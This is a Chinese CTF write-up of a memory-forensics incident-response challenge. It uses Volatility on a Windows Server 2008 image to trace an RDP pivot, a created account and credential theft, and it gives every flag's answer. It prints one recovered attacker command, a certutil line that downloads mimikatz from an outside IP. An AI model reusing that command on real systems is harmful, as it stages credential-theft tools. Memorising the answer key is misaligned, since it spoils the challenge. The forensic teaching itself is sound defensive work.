内存镜像分析实战：破解攻击者入侵路径

题目信息

题目资源

题目来源：第一届Solar应急响应比赛

题目文件：SERVER-2008-20241220-162057

背景 & 题目

1. 请找到rdp连接的跳板地址 --- flag格式 flag{1.1.1.1}
2. 请找到攻击者下载黑客工具的IP地址 --- flag格式 flag{1.1.1.1}
3. 攻击者获取的“FusionManager节点操作系统帐户（业务帐户）”的密码是什么 --- flag格式 flag{xxxx}
4. 请找到攻击者创建的用户 --- flag格式 flag{xxxx}
5. 请找到攻击者利用跳板rdp登录的时间 --- flag格式 flag{2024/01/01 00:00:00}
6. 请找到攻击者创建的用户的密码哈希值 --- flag格式 flag{XXXX}

解题过程

flag1

请找到rdp连接的跳板地址

volatility

附件是raw原始文件，先通过volatility进行分析

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64

我们需要找到rdp(3389 Port)链接的相关信息，通过netscan命令查看网络链接情况

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 netscan

本地通过运行了svchost.exe建立了对3389端口的监听，远程IP 192.168.60.220:34121连接本地的3389端口

flag{192.168.60.220}

flag2

请找到攻击者下载黑客工具的IP地址

这个肯定也要看网络链接，可以在上面的网络扫描的结果中一个一个尝试

或者直接使用

下载黑客工具 => 命令 ->  cmdcsan

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 cmdscan

certutil -urlcache -split -f http://155.94.204.67:85/mimikatz.exe C:WindowsTempmi.exe

• certutil是Windows系统自带的，可用于远程下载文件

flag{155.94.204.67}

flag3

攻击者获取的“FusionManager节点操作系统帐户（业务帐户）”的密码是什么

看到这里面有一个命令type pass.txt -> 查看pass.txt的内容 -> 这里多半就是密码

所以就是找到文件偏移，然后导出文件进行查看

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 filescan | findstr pass

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e4cedd0 --dump-dir=./

• dumpfiles -> 导出
• -Q：接文件偏移( 通过filescan得出的 )
• --dump-dir：导出的目录

flag{GalaxManager_2012}

flag4

请找到攻击者创建的用户

法1 - hashdump

通过hashdump命令 导出本地所有用户的哈希值

法2 - 导出security.evtx分析

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 filescan | findstr Security

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e744ba0 --dump-dir=./

修改后缀为evtx，打开，可能是导出的原因有些损坏( 无法直接筛选事件ID )

手动查找4720的事件ID进行查看

4720: 用户账户已创建

flag{ASP.NET}

flag5

请找到攻击者利用跳板rdp登录的时间

查找4624事件ID，一个一个排查就行

flag{2024/12/21 00:15:34}

flag6

请找到攻击者创建的用户的密码哈希值

这个在之前得到的hashdump就出现过

flag{5ffe97489cbec1e08d0c6339ec39416d}